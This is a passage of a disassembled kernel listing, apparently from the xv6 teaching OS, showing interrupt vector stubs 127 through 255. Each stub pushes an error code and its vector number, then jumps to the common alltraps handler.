.globl vector127
vector127:
pushl $0
80105d7d: 6a 00 push $0x0
pushl $127
80105d7f: 6a 7f push $0x7f
jmp alltraps
80105d81: e9 77 f6 ff ff jmp 801053fd <alltraps>
80105d86 <vector128>:
.globl vector128
vector128:
pushl $0
80105d86: 6a 00 push $0x0
pushl $128
80105d88: 68 80 00 00 00 push $0x80
jmp alltraps
80105d8d: e9 6b f6 ff ff jmp 801053fd <alltraps>
80105d92 <vector129>:
.globl vector129
vector129:
pushl $0
80105d92: 6a 00 push $0x0
pushl $129
80105d94: 68 81 00 00 00 push $0x81
jmp alltraps
80105d99: e9 5f f6 ff ff jmp 801053fd <alltraps>
80105d9e <vector130>:
.globl vector130
vector130:
pushl $0
80105d9e: 6a 00 push $0x0
pushl $130
80105da0: 68 82 00 00 00 push $0x82
jmp alltraps
80105da5: e9 53 f6 ff ff jmp 801053fd <alltraps>
80105daa <vector131>:
.globl vector131
vector131:
pushl $0
80105daa: 6a 00 push $0x0
pushl $131
80105dac: 68 83 00 00 00 push $0x83
jmp alltraps
80105db1: e9 47 f6 ff ff jmp 801053fd <alltraps>
80105db6 <vector132>:
.globl vector132
vector132:
pushl $0
80105db6: 6a 00 push $0x0
pushl $132
80105db8: 68 84 00 00 00 push $0x84
jmp alltraps
80105dbd: e9 3b f6 ff ff jmp 801053fd <alltraps>
80105dc2 <vector133>:
.globl vector133
vector133:
pushl $0
80105dc2: 6a 00 push $0x0
pushl $133
80105dc4: 68 85 00 00 00 push $0x85
jmp alltraps
80105dc9: e9 2f f6 ff ff jmp 801053fd <alltraps>
80105dce <vector134>:
.globl vector134
vector134:
pushl $0
80105dce: 6a 00 push $0x0
pushl $134
80105dd0: 68 86 00 00 00 push $0x86
jmp alltraps
80105dd5: e9 23 f6 ff ff jmp 801053fd <alltraps>
80105dda <vector135>:
.globl vector135
vector135:
pushl $0
80105dda: 6a 00 push $0x0
pushl $135
80105ddc: 68 87 00 00 00 push $0x87
jmp alltraps
80105de1: e9 17 f6 ff ff jmp 801053fd <alltraps>
80105de6 <vector136>:
.globl vector136
vector136:
pushl $0
80105de6: 6a 00 push $0x0
pushl $136
80105de8: 68 88 00 00 00 push $0x88
jmp alltraps
80105ded: e9 0b f6 ff ff jmp 801053fd <alltraps>
80105df2 <vector137>:
.globl vector137
vector137:
pushl $0
80105df2: 6a 00 push $0x0
pushl $137
80105df4: 68 89 00 00 00 push $0x89
jmp alltraps
80105df9: e9 ff f5 ff ff jmp 801053fd <alltraps>
80105dfe <vector138>:
.globl vector138
vector138:
pushl $0
80105dfe: 6a 00 push $0x0
pushl $138
80105e00: 68 8a 00 00 00 push $0x8a
jmp alltraps
80105e05: e9 f3 f5 ff ff jmp 801053fd <alltraps>
80105e0a <vector139>:
.globl vector139
vector139:
pushl $0
80105e0a: 6a 00 push $0x0
pushl $139
80105e0c: 68 8b 00 00 00 push $0x8b
jmp alltraps
80105e11: e9 e7 f5 ff ff jmp 801053fd <alltraps>
80105e16 <vector140>:
.globl vector140
vector140:
pushl $0
80105e16: 6a 00 push $0x0
pushl $140
80105e18: 68 8c 00 00 00 push $0x8c
jmp alltraps
80105e1d: e9 db f5 ff ff jmp 801053fd <alltraps>
80105e22 <vector141>:
.globl vector141
vector141:
pushl $0
80105e22: 6a 00 push $0x0
pushl $141
80105e24: 68 8d 00 00 00 push $0x8d
jmp alltraps
80105e29: e9 cf f5 ff ff jmp 801053fd <alltraps>
80105e2e <vector142>:
.globl vector142
vector142:
pushl $0
80105e2e: 6a 00 push $0x0
pushl $142
80105e30: 68 8e 00 00 00 push $0x8e
jmp alltraps
80105e35: e9 c3 f5 ff ff jmp 801053fd <alltraps>
80105e3a <vector143>:
.globl vector143
vector143:
pushl $0
80105e3a: 6a 00 push $0x0
pushl $143
80105e3c: 68 8f 00 00 00 push $0x8f
jmp alltraps
80105e41: e9 b7 f5 ff ff jmp 801053fd <alltraps>
80105e46 <vector144>:
.globl vector144
vector144:
pushl $0
80105e46: 6a 00 push $0x0
pushl $144
80105e48: 68 90 00 00 00 push $0x90
jmp alltraps
80105e4d: e9 ab f5 ff ff jmp 801053fd <alltraps>
80105e52 <vector145>:
.globl vector145
vector145:
pushl $0
80105e52: 6a 00 push $0x0
pushl $145
80105e54: 68 91 00 00 00 push $0x91
jmp alltraps
80105e59: e9 9f f5 ff ff jmp 801053fd <alltraps>
80105e5e <vector146>:
.globl vector146
vector146:
pushl $0
80105e5e: 6a 00 push $0x0
pushl $146
80105e60: 68 92 00 00 00 push $0x92
jmp alltraps
80105e65: e9 93 f5 ff ff jmp 801053fd <alltraps>
80105e6a <vector147>:
.globl vector147
vector147:
pushl $0
80105e6a: 6a 00 push $0x0
pushl $147
80105e6c: 68 93 00 00 00 push $0x93
jmp alltraps
80105e71: e9 87 f5 ff ff jmp 801053fd <alltraps>
80105e76 <vector148>:
.globl vector148
vector148:
pushl $0
80105e76: 6a 00 push $0x0
pushl $148
80105e78: 68 94 00 00 00 push $0x94
jmp alltraps
80105e7d: e9 7b f5 ff ff jmp 801053fd <alltraps>
80105e82 <vector149>:
.globl vector149
vector149:
pushl $0
80105e82: 6a 00 push $0x0
pushl $149
80105e84: 68 95 00 00 00 push $0x95
jmp alltraps
80105e89: e9 6f f5 ff ff jmp 801053fd <alltraps>
80105e8e <vector150>:
.globl vector150
vector150:
pushl $0
80105e8e: 6a 00 push $0x0
pushl $150
80105e90: 68 96 00 00 00 push $0x96
jmp alltraps
80105e95: e9 63 f5 ff ff jmp 801053fd <alltraps>
80105e9a <vector151>:
.globl vector151
vector151:
pushl $0
80105e9a: 6a 00 push $0x0
pushl $151
80105e9c: 68 97 00 00 00 push $0x97
jmp alltraps
80105ea1: e9 57 f5 ff ff jmp 801053fd <alltraps>
80105ea6 <vector152>:
.globl vector152
vector152:
pushl $0
80105ea6: 6a 00 push $0x0
pushl $152
80105ea8: 68 98 00 00 00 push $0x98
jmp alltraps
80105ead: e9 4b f5 ff ff jmp 801053fd <alltraps>
80105eb2 <vector153>:
.globl vector153
vector153:
pushl $0
80105eb2: 6a 00 push $0x0
pushl $153
80105eb4: 68 99 00 00 00 push $0x99
jmp alltraps
80105eb9: e9 3f f5 ff ff jmp 801053fd <alltraps>
80105ebe <vector154>:
.globl vector154
vector154:
pushl $0
80105ebe: 6a 00 push $0x0
pushl $154
80105ec0: 68 9a 00 00 00 push $0x9a
jmp alltraps
80105ec5: e9 33 f5 ff ff jmp 801053fd <alltraps>
80105eca <vector155>:
.globl vector155
vector155:
pushl $0
80105eca: 6a 00 push $0x0
pushl $155
80105ecc: 68 9b 00 00 00 push $0x9b
jmp alltraps
80105ed1: e9 27 f5 ff ff jmp 801053fd <alltraps>
80105ed6 <vector156>:
.globl vector156
vector156:
pushl $0
80105ed6: 6a 00 push $0x0
pushl $156
80105ed8: 68 9c 00 00 00 push $0x9c
jmp alltraps
80105edd: e9 1b f5 ff ff jmp 801053fd <alltraps>
80105ee2 <vector157>:
.globl vector157
vector157:
pushl $0
80105ee2: 6a 00 push $0x0
pushl $157
80105ee4: 68 9d 00 00 00 push $0x9d
jmp alltraps
80105ee9: e9 0f f5 ff ff jmp 801053fd <alltraps>
80105eee <vector158>:
.globl vector158
vector158:
pushl $0
80105eee: 6a 00 push $0x0
pushl $158
80105ef0: 68 9e 00 00 00 push $0x9e
jmp alltraps
80105ef5: e9 03 f5 ff ff jmp 801053fd <alltraps>
80105efa <vector159>:
.globl vector159
vector159:
pushl $0
80105efa: 6a 00 push $0x0
pushl $159
80105efc: 68 9f 00 00 00 push $0x9f
jmp alltraps
80105f01: e9 f7 f4 ff ff jmp 801053fd <alltraps>
80105f06 <vector160>:
.globl vector160
vector160:
pushl $0
80105f06: 6a 00 push $0x0
pushl $160
80105f08: 68 a0 00 00 00 push $0xa0
jmp alltraps
80105f0d: e9 eb f4 ff ff jmp 801053fd <alltraps>
80105f12 <vector161>:
.globl vector161
vector161:
pushl $0
80105f12: 6a 00 push $0x0
pushl $161
80105f14: 68 a1 00 00 00 push $0xa1
jmp alltraps
80105f19: e9 df f4 ff ff jmp 801053fd <alltraps>
80105f1e <vector162>:
.globl vector162
vector162:
pushl $0
80105f1e: 6a 00 push $0x0
pushl $162
80105f20: 68 a2 00 00 00 push $0xa2
jmp alltraps
80105f25: e9 d3 f4 ff ff jmp 801053fd <alltraps>
80105f2a <vector163>:
.globl vector163
vector163:
pushl $0
80105f2a: 6a 00 push $0x0
pushl $163
80105f2c: 68 a3 00 00 00 push $0xa3
jmp alltraps
80105f31: e9 c7 f4 ff ff jmp 801053fd <alltraps>
80105f36 <vector164>:
.globl vector164
vector164:
pushl $0
80105f36: 6a 00 push $0x0
pushl $164
80105f38: 68 a4 00 00 00 push $0xa4
jmp alltraps
80105f3d: e9 bb f4 ff ff jmp 801053fd <alltraps>
80105f42 <vector165>:
.globl vector165
vector165:
pushl $0
80105f42: 6a 00 push $0x0
pushl $165
80105f44: 68 a5 00 00 00 push $0xa5
jmp alltraps
80105f49: e9 af f4 ff ff jmp 801053fd <alltraps>
80105f4e <vector166>:
.globl vector166
vector166:
pushl $0
80105f4e: 6a 00 push $0x0
pushl $166
80105f50: 68 a6 00 00 00 push $0xa6
jmp alltraps
80105f55: e9 a3 f4 ff ff jmp 801053fd <alltraps>
80105f5a <vector167>:
.globl vector167
vector167:
pushl $0
80105f5a: 6a 00 push $0x0
pushl $167
80105f5c: 68 a7 00 00 00 push $0xa7
jmp alltraps
80105f61: e9 97 f4 ff ff jmp 801053fd <alltraps>
80105f66 <vector168>:
.globl vector168
vector168:
pushl $0
80105f66: 6a 00 push $0x0
pushl $168
80105f68: 68 a8 00 00 00 push $0xa8
jmp alltraps
80105f6d: e9 8b f4 ff ff jmp 801053fd <alltraps>
80105f72 <vector169>:
.globl vector169
vector169:
pushl $0
80105f72: 6a 00 push $0x0
pushl $169
80105f74: 68 a9 00 00 00 push $0xa9
jmp alltraps
80105f79: e9 7f f4 ff ff jmp 801053fd <alltraps>
80105f7e <vector170>:
.globl vector170
vector170:
pushl $0
80105f7e: 6a 00 push $0x0
pushl $170
80105f80: 68 aa 00 00 00 push $0xaa
jmp alltraps
80105f85: e9 73 f4 ff ff jmp 801053fd <alltraps>
80105f8a <vector171>:
.globl vector171
vector171:
pushl $0
80105f8a: 6a 00 push $0x0
pushl $171
80105f8c: 68 ab 00 00 00 push $0xab
jmp alltraps
80105f91: e9 67 f4 ff ff jmp 801053fd <alltraps>
80105f96 <vector172>:
.globl vector172
vector172:
pushl $0
80105f96: 6a 00 push $0x0
pushl $172
80105f98: 68 ac 00 00 00 push $0xac
jmp alltraps
80105f9d: e9 5b f4 ff ff jmp 801053fd <alltraps>
80105fa2 <vector173>:
.globl vector173
vector173:
pushl $0
80105fa2: 6a 00 push $0x0
pushl $173
80105fa4: 68 ad 00 00 00 push $0xad
jmp alltraps
80105fa9: e9 4f f4 ff ff jmp 801053fd <alltraps>
80105fae <vector174>:
.globl vector174
vector174:
pushl $0
80105fae: 6a 00 push $0x0
pushl $174
80105fb0: 68 ae 00 00 00 push $0xae
jmp alltraps
80105fb5: e9 43 f4 ff ff jmp 801053fd <alltraps>
80105fba <vector175>:
.globl vector175
vector175:
pushl $0
80105fba: 6a 00 push $0x0
pushl $175
80105fbc: 68 af 00 00 00 push $0xaf
jmp alltraps
80105fc1: e9 37 f4 ff ff jmp 801053fd <alltraps>
80105fc6 <vector176>:
.globl vector176
vector176:
pushl $0
80105fc6: 6a 00 push $0x0
pushl $176
80105fc8: 68 b0 00 00 00 push $0xb0
jmp alltraps
80105fcd: e9 2b f4 ff ff jmp 801053fd <alltraps>
80105fd2 <vector177>:
.globl vector177
vector177:
pushl $0
80105fd2: 6a 00 push $0x0
pushl $177
80105fd4: 68 b1 00 00 00 push $0xb1
jmp alltraps
80105fd9: e9 1f f4 ff ff jmp 801053fd <alltraps>
80105fde <vector178>:
.globl vector178
vector178:
pushl $0
80105fde: 6a 00 push $0x0
pushl $178
80105fe0: 68 b2 00 00 00 push $0xb2
jmp alltraps
80105fe5: e9 13 f4 ff ff jmp 801053fd <alltraps>
80105fea <vector179>:
.globl vector179
vector179:
pushl $0
80105fea: 6a 00 push $0x0
pushl $179
80105fec: 68 b3 00 00 00 push $0xb3
jmp alltraps
80105ff1: e9 07 f4 ff ff jmp 801053fd <alltraps>
80105ff6 <vector180>:
.globl vector180
vector180:
pushl $0
80105ff6: 6a 00 push $0x0
pushl $180
80105ff8: 68 b4 00 00 00 push $0xb4
jmp alltraps
80105ffd: e9 fb f3 ff ff jmp 801053fd <alltraps>
80106002 <vector181>:
.globl vector181
vector181:
pushl $0
80106002: 6a 00 push $0x0
pushl $181
80106004: 68 b5 00 00 00 push $0xb5
jmp alltraps
80106009: e9 ef f3 ff ff jmp 801053fd <alltraps>
8010600e <vector182>:
.globl vector182
vector182:
pushl $0
8010600e: 6a 00 push $0x0
pushl $182
80106010: 68 b6 00 00 00 push $0xb6
jmp alltraps
80106015: e9 e3 f3 ff ff jmp 801053fd <alltraps>
8010601a <vector183>:
.globl vector183
vector183:
pushl $0
8010601a: 6a 00 push $0x0
pushl $183
8010601c: 68 b7 00 00 00 push $0xb7
jmp alltraps
80106021: e9 d7 f3 ff ff jmp 801053fd <alltraps>
80106026 <vector184>:
.globl vector184
vector184:
pushl $0
80106026: 6a 00 push $0x0
pushl $184
80106028: 68 b8 00 00 00 push $0xb8
jmp alltraps
8010602d: e9 cb f3 ff ff jmp 801053fd <alltraps>
80106032 <vector185>:
.globl vector185
vector185:
pushl $0
80106032: 6a 00 push $0x0
pushl $185
80106034: 68 b9 00 00 00 push $0xb9
jmp alltraps
80106039: e9 bf f3 ff ff jmp 801053fd <alltraps>
8010603e <vector186>:
.globl vector186
vector186:
pushl $0
8010603e: 6a 00 push $0x0
pushl $186
80106040: 68 ba 00 00 00 push $0xba
jmp alltraps
80106045: e9 b3 f3 ff ff jmp 801053fd <alltraps>
8010604a <vector187>:
.globl vector187
vector187:
pushl $0
8010604a: 6a 00 push $0x0
pushl $187
8010604c: 68 bb 00 00 00 push $0xbb
jmp alltraps
80106051: e9 a7 f3 ff ff jmp 801053fd <alltraps>
80106056 <vector188>:
.globl vector188
vector188:
pushl $0
80106056: 6a 00 push $0x0
pushl $188
80106058: 68 bc 00 00 00 push $0xbc
jmp alltraps
8010605d: e9 9b f3 ff ff jmp 801053fd <alltraps>
80106062 <vector189>:
.globl vector189
vector189:
pushl $0
80106062: 6a 00 push $0x0
pushl $189
80106064: 68 bd 00 00 00 push $0xbd
jmp alltraps
80106069: e9 8f f3 ff ff jmp 801053fd <alltraps>
8010606e <vector190>:
.globl vector190
vector190:
pushl $0
8010606e: 6a 00 push $0x0
pushl $190
80106070: 68 be 00 00 00 push $0xbe
jmp alltraps
80106075: e9 83 f3 ff ff jmp 801053fd <alltraps>
8010607a <vector191>:
.globl vector191
vector191:
pushl $0
8010607a: 6a 00 push $0x0
pushl $191
8010607c: 68 bf 00 00 00 push $0xbf
jmp alltraps
80106081: e9 77 f3 ff ff jmp 801053fd <alltraps>
80106086 <vector192>:
.globl vector192
vector192:
pushl $0
80106086: 6a 00 push $0x0
pushl $192
80106088: 68 c0 00 00 00 push $0xc0
jmp alltraps
8010608d: e9 6b f3 ff ff jmp 801053fd <alltraps>
80106092 <vector193>:
.globl vector193
vector193:
pushl $0
80106092: 6a 00 push $0x0
pushl $193
80106094: 68 c1 00 00 00 push $0xc1
jmp alltraps
80106099: e9 5f f3 ff ff jmp 801053fd <alltraps>
8010609e <vector194>:
.globl vector194
vector194:
pushl $0
8010609e: 6a 00 push $0x0
pushl $194
801060a0: 68 c2 00 00 00 push $0xc2
jmp alltraps
801060a5: e9 53 f3 ff ff jmp 801053fd <alltraps>
801060aa <vector195>:
.globl vector195
vector195:
pushl $0
801060aa: 6a 00 push $0x0
pushl $195
801060ac: 68 c3 00 00 00 push $0xc3
jmp alltraps
801060b1: e9 47 f3 ff ff jmp 801053fd <alltraps>
801060b6 <vector196>:
.globl vector196
vector196:
pushl $0
801060b6: 6a 00 push $0x0
pushl $196
801060b8: 68 c4 00 00 00 push $0xc4
jmp alltraps
801060bd: e9 3b f3 ff ff jmp 801053fd <alltraps>
801060c2 <vector197>:
.globl vector197
vector197:
pushl $0
801060c2: 6a 00 push $0x0
pushl $197
801060c4: 68 c5 00 00 00 push $0xc5
jmp alltraps
801060c9: e9 2f f3 ff ff jmp 801053fd <alltraps>
801060ce <vector198>:
.globl vector198
vector198:
pushl $0
801060ce: 6a 00 push $0x0
pushl $198
801060d0: 68 c6 00 00 00 push $0xc6
jmp alltraps
801060d5: e9 23 f3 ff ff jmp 801053fd <alltraps>
801060da <vector199>:
.globl vector199
vector199:
pushl $0
801060da: 6a 00 push $0x0
pushl $199
801060dc: 68 c7 00 00 00 push $0xc7
jmp alltraps
801060e1: e9 17 f3 ff ff jmp 801053fd <alltraps>
801060e6 <vector200>:
.globl vector200
vector200:
pushl $0
801060e6: 6a 00 push $0x0
pushl $200
801060e8: 68 c8 00 00 00 push $0xc8
jmp alltraps
801060ed: e9 0b f3 ff ff jmp 801053fd <alltraps>
801060f2 <vector201>:
.globl vector201
vector201:
pushl $0
801060f2: 6a 00 push $0x0
pushl $201
801060f4: 68 c9 00 00 00 push $0xc9
jmp alltraps
801060f9: e9 ff f2 ff ff jmp 801053fd <alltraps>
801060fe <vector202>:
.globl vector202
vector202:
pushl $0
801060fe: 6a 00 push $0x0
pushl $202
80106100: 68 ca 00 00 00 push $0xca
jmp alltraps
80106105: e9 f3 f2 ff ff jmp 801053fd <alltraps>
8010610a <vector203>:
.globl vector203
vector203:
pushl $0
8010610a: 6a 00 push $0x0
pushl $203
8010610c: 68 cb 00 00 00 push $0xcb
jmp alltraps
80106111: e9 e7 f2 ff ff jmp 801053fd <alltraps>
80106116 <vector204>:
.globl vector204
vector204:
pushl $0
80106116: 6a 00 push $0x0
pushl $204
80106118: 68 cc 00 00 00 push $0xcc
jmp alltraps
8010611d: e9 db f2 ff ff jmp 801053fd <alltraps>
80106122 <vector205>:
.globl vector205
vector205:
pushl $0
80106122: 6a 00 push $0x0
pushl $205
80106124: 68 cd 00 00 00 push $0xcd
jmp alltraps
80106129: e9 cf f2 ff ff jmp 801053fd <alltraps>
8010612e <vector206>:
.globl vector206
vector206:
pushl $0
8010612e: 6a 00 push $0x0
pushl $206
80106130: 68 ce 00 00 00 push $0xce
jmp alltraps
80106135: e9 c3 f2 ff ff jmp 801053fd <alltraps>
8010613a <vector207>:
.globl vector207
vector207:
pushl $0
8010613a: 6a 00 push $0x0
pushl $207
8010613c: 68 cf 00 00 00 push $0xcf
jmp alltraps
80106141: e9 b7 f2 ff ff jmp 801053fd <alltraps>
80106146 <vector208>:
.globl vector208
vector208:
pushl $0
80106146: 6a 00 push $0x0
pushl $208
80106148: 68 d0 00 00 00 push $0xd0
jmp alltraps
8010614d: e9 ab f2 ff ff jmp 801053fd <alltraps>
80106152 <vector209>:
.globl vector209
vector209:
pushl $0
80106152: 6a 00 push $0x0
pushl $209
80106154: 68 d1 00 00 00 push $0xd1
jmp alltraps
80106159: e9 9f f2 ff ff jmp 801053fd <alltraps>
8010615e <vector210>:
.globl vector210
vector210:
pushl $0
8010615e: 6a 00 push $0x0
pushl $210
80106160: 68 d2 00 00 00 push $0xd2
jmp alltraps
80106165: e9 93 f2 ff ff jmp 801053fd <alltraps>
8010616a <vector211>:
.globl vector211
vector211:
pushl $0
8010616a: 6a 00 push $0x0
pushl $211
8010616c: 68 d3 00 00 00 push $0xd3
jmp alltraps
80106171: e9 87 f2 ff ff jmp 801053fd <alltraps>
80106176 <vector212>:
.globl vector212
vector212:
pushl $0
80106176: 6a 00 push $0x0
pushl $212
80106178: 68 d4 00 00 00 push $0xd4
jmp alltraps
8010617d: e9 7b f2 ff ff jmp 801053fd <alltraps>
80106182 <vector213>:
.globl vector213
vector213:
pushl $0
80106182: 6a 00 push $0x0
pushl $213
80106184: 68 d5 00 00 00 push $0xd5
jmp alltraps
80106189: e9 6f f2 ff ff jmp 801053fd <alltraps>
8010618e <vector214>:
.globl vector214
vector214:
pushl $0
8010618e: 6a 00 push $0x0
pushl $214
80106190: 68 d6 00 00 00 push $0xd6
jmp alltraps
80106195: e9 63 f2 ff ff jmp 801053fd <alltraps>
8010619a <vector215>:
.globl vector215
vector215:
pushl $0
8010619a: 6a 00 push $0x0
pushl $215
8010619c: 68 d7 00 00 00 push $0xd7
jmp alltraps
801061a1: e9 57 f2 ff ff jmp 801053fd <alltraps>
801061a6 <vector216>:
.globl vector216
vector216:
pushl $0
801061a6: 6a 00 push $0x0
pushl $216
801061a8: 68 d8 00 00 00 push $0xd8
jmp alltraps
801061ad: e9 4b f2 ff ff jmp 801053fd <alltraps>
801061b2 <vector217>:
.globl vector217
vector217:
pushl $0
801061b2: 6a 00 push $0x0
pushl $217
801061b4: 68 d9 00 00 00 push $0xd9
jmp alltraps
801061b9: e9 3f f2 ff ff jmp 801053fd <alltraps>
801061be <vector218>:
.globl vector218
vector218:
pushl $0
801061be: 6a 00 push $0x0
pushl $218
801061c0: 68 da 00 00 00 push $0xda
jmp alltraps
801061c5: e9 33 f2 ff ff jmp 801053fd <alltraps>
801061ca <vector219>:
.globl vector219
vector219:
pushl $0
801061ca: 6a 00 push $0x0
pushl $219
801061cc: 68 db 00 00 00 push $0xdb
jmp alltraps
801061d1: e9 27 f2 ff ff jmp 801053fd <alltraps>
801061d6 <vector220>:
.globl vector220
vector220:
pushl $0
801061d6: 6a 00 push $0x0
pushl $220
801061d8: 68 dc 00 00 00 push $0xdc
jmp alltraps
801061dd: e9 1b f2 ff ff jmp 801053fd <alltraps>
801061e2 <vector221>:
.globl vector221
vector221:
pushl $0
801061e2: 6a 00 push $0x0
pushl $221
801061e4: 68 dd 00 00 00 push $0xdd
jmp alltraps
801061e9: e9 0f f2 ff ff jmp 801053fd <alltraps>
801061ee <vector222>:
.globl vector222
vector222:
pushl $0
801061ee: 6a 00 push $0x0
pushl $222
801061f0: 68 de 00 00 00 push $0xde
jmp alltraps
801061f5: e9 03 f2 ff ff jmp 801053fd <alltraps>
801061fa <vector223>:
.globl vector223
vector223:
pushl $0
801061fa: 6a 00 push $0x0
pushl $223
801061fc: 68 df 00 00 00 push $0xdf
jmp alltraps
80106201: e9 f7 f1 ff ff jmp 801053fd <alltraps>
80106206 <vector224>:
.globl vector224
vector224:
pushl $0
80106206: 6a 00 push $0x0
pushl $224
80106208: 68 e0 00 00 00 push $0xe0
jmp alltraps
8010620d: e9 eb f1 ff ff jmp 801053fd <alltraps>
80106212 <vector225>:
.globl vector225
vector225:
pushl $0
80106212: 6a 00 push $0x0
pushl $225
80106214: 68 e1 00 00 00 push $0xe1
jmp alltraps
80106219: e9 df f1 ff ff jmp 801053fd <alltraps>
8010621e <vector226>:
.globl vector226
vector226:
pushl $0
8010621e: 6a 00 push $0x0
pushl $226
80106220: 68 e2 00 00 00 push $0xe2
jmp alltraps
80106225: e9 d3 f1 ff ff jmp 801053fd <alltraps>
8010622a <vector227>:
.globl vector227
vector227:
pushl $0
8010622a: 6a 00 push $0x0
pushl $227
8010622c: 68 e3 00 00 00 push $0xe3
jmp alltraps
80106231: e9 c7 f1 ff ff jmp 801053fd <alltraps>
80106236 <vector228>:
.globl vector228
vector228:
pushl $0
80106236: 6a 00 push $0x0
pushl $228
80106238: 68 e4 00 00 00 push $0xe4
jmp alltraps
8010623d: e9 bb f1 ff ff jmp 801053fd <alltraps>
80106242 <vector229>:
.globl vector229
vector229:
pushl $0
80106242: 6a 00 push $0x0
pushl $229
80106244: 68 e5 00 00 00 push $0xe5
jmp alltraps
80106249: e9 af f1 ff ff jmp 801053fd <alltraps>
8010624e <vector230>:
.globl vector230
vector230:
pushl $0
8010624e: 6a 00 push $0x0
pushl $230
80106250: 68 e6 00 00 00 push $0xe6
jmp alltraps
80106255: e9 a3 f1 ff ff jmp 801053fd <alltraps>
8010625a <vector231>:
.globl vector231
vector231:
pushl $0
8010625a: 6a 00 push $0x0
pushl $231
8010625c: 68 e7 00 00 00 push $0xe7
jmp alltraps
80106261: e9 97 f1 ff ff jmp 801053fd <alltraps>
80106266 <vector232>:
.globl vector232
vector232:
pushl $0
80106266: 6a 00 push $0x0
pushl $232
80106268: 68 e8 00 00 00 push $0xe8
jmp alltraps
8010626d: e9 8b f1 ff ff jmp 801053fd <alltraps>
80106272 <vector233>:
.globl vector233
vector233:
pushl $0
80106272: 6a 00 push $0x0
pushl $233
80106274: 68 e9 00 00 00 push $0xe9
jmp alltraps
80106279: e9 7f f1 ff ff jmp 801053fd <alltraps>
8010627e <vector234>:
.globl vector234
vector234:
pushl $0
8010627e: 6a 00 push $0x0
pushl $234
80106280: 68 ea 00 00 00 push $0xea
jmp alltraps
80106285: e9 73 f1 ff ff jmp 801053fd <alltraps>
8010628a <vector235>:
.globl vector235
vector235:
pushl $0
8010628a: 6a 00 push $0x0
pushl $235
8010628c: 68 eb 00 00 00 push $0xeb
jmp alltraps
80106291: e9 67 f1 ff ff jmp 801053fd <alltraps>
80106296 <vector236>:
.globl vector236
vector236:
pushl $0
80106296: 6a 00 push $0x0
pushl $236
80106298: 68 ec 00 00 00 push $0xec
jmp alltraps
8010629d: e9 5b f1 ff ff jmp 801053fd <alltraps>
801062a2 <vector237>:
.globl vector237
vector237:
pushl $0
801062a2: 6a 00 push $0x0
pushl $237
801062a4: 68 ed 00 00 00 push $0xed
jmp alltraps
801062a9: e9 4f f1 ff ff jmp 801053fd <alltraps>
801062ae <vector238>:
.globl vector238
vector238:
pushl $0
801062ae: 6a 00 push $0x0
pushl $238
801062b0: 68 ee 00 00 00 push $0xee
jmp alltraps
801062b5: e9 43 f1 ff ff jmp 801053fd <alltraps>
801062ba <vector239>:
.globl vector239
vector239:
pushl $0
801062ba: 6a 00 push $0x0
pushl $239
801062bc: 68 ef 00 00 00 push $0xef
jmp alltraps
801062c1: e9 37 f1 ff ff jmp 801053fd <alltraps>
801062c6 <vector240>:
.globl vector240
vector240:
pushl $0
801062c6: 6a 00 push $0x0
pushl $240
801062c8: 68 f0 00 00 00 push $0xf0
jmp alltraps
801062cd: e9 2b f1 ff ff jmp 801053fd <alltraps>
801062d2 <vector241>:
.globl vector241
vector241:
pushl $0
801062d2: 6a 00 push $0x0
pushl $241
801062d4: 68 f1 00 00 00 push $0xf1
jmp alltraps
801062d9: e9 1f f1 ff ff jmp 801053fd <alltraps>
801062de <vector242>:
.globl vector242
vector242:
pushl $0
801062de: 6a 00 push $0x0
pushl $242
801062e0: 68 f2 00 00 00 push $0xf2
jmp alltraps
801062e5: e9 13 f1 ff ff jmp 801053fd <alltraps>
801062ea <vector243>:
.globl vector243
vector243:
pushl $0
801062ea: 6a 00 push $0x0
pushl $243
801062ec: 68 f3 00 00 00 push $0xf3
jmp alltraps
801062f1: e9 07 f1 ff ff jmp 801053fd <alltraps>
801062f6 <vector244>:
.globl vector244
vector244:
pushl $0
801062f6: 6a 00 push $0x0
pushl $244
801062f8: 68 f4 00 00 00 push $0xf4
jmp alltraps
801062fd: e9 fb f0 ff ff jmp 801053fd <alltraps>
80106302 <vector245>:
.globl vector245
vector245:
pushl $0
80106302: 6a 00 push $0x0
pushl $245
80106304: 68 f5 00 00 00 push $0xf5
jmp alltraps
80106309: e9 ef f0 ff ff jmp 801053fd <alltraps>
8010630e <vector246>:
.globl vector246
vector246:
pushl $0
8010630e: 6a 00 push $0x0
pushl $246
80106310: 68 f6 00 00 00 push $0xf6
jmp alltraps
80106315: e9 e3 f0 ff ff jmp 801053fd <alltraps>
8010631a <vector247>:
.globl vector247
vector247:
pushl $0
8010631a: 6a 00 push $0x0
pushl $247
8010631c: 68 f7 00 00 00 push $0xf7
jmp alltraps
80106321: e9 d7 f0 ff ff jmp 801053fd <alltraps>
80106326 <vector248>:
.globl vector248
vector248:
pushl $0
80106326: 6a 00 push $0x0
pushl $248
80106328: 68 f8 00 00 00 push $0xf8
jmp alltraps
8010632d: e9 cb f0 ff ff jmp 801053fd <alltraps>
80106332 <vector249>:
.globl vector249
vector249:
pushl $0
80106332: 6a 00 push $0x0
pushl $249
80106334: 68 f9 00 00 00 push $0xf9
jmp alltraps
80106339: e9 bf f0 ff ff jmp 801053fd <alltraps>
8010633e <vector250>:
.globl vector250
vector250:
pushl $0
8010633e: 6a 00 push $0x0
pushl $250
80106340: 68 fa 00 00 00 push $0xfa
jmp alltraps
80106345: e9 b3 f0 ff ff jmp 801053fd <alltraps>
8010634a <vector251>:
.globl vector251
vector251:
pushl $0
8010634a: 6a 00 push $0x0
pushl $251
8010634c: 68 fb 00 00 00 push $0xfb
jmp alltraps
80106351: e9 a7 f0 ff ff jmp 801053fd <alltraps>
80106356 <vector252>:
.globl vector252
vector252:
pushl $0
80106356: 6a 00 push $0x0
pushl $252
80106358: 68 fc 00 00 00 push $0xfc
jmp alltraps
8010635d: e9 9b f0 ff ff jmp 801053fd <alltraps>
80106362 <vector253>:
.globl vector253
vector253:
pushl $0
80106362: 6a 00 push $0x0
pushl $253
80106364: 68 fd 00 00 00 push $0xfd
jmp alltraps
80106369: e9 8f f0 ff ff jmp 801053fd <alltraps>
8010636e <vector254>:
.globl vector254
vector254:
pushl $0
8010636e: 6a 00 push $0x0
pushl $254
80106370: 68 fe 00 00 00 push $0xfe
jmp alltraps
80106375: e9 83 f0 ff ff jmp 801053fd <alltraps>
8010637a <vector255>:
.globl vector255
vector255:
pushl $0
8010637a: 6a 00 push $0x0
pushl $255
8010637c: 68 ff 00 00 00 push $0xff
jmp alltraps
80106381: e9 77 f0 ff ff jmp 801053fd <alltraps>
80106386: 66 90 xchg %ax,%ax
80106388: 66 90 xchg %ax,%ax
8010638a: 66 90 xchg %ax,%ax
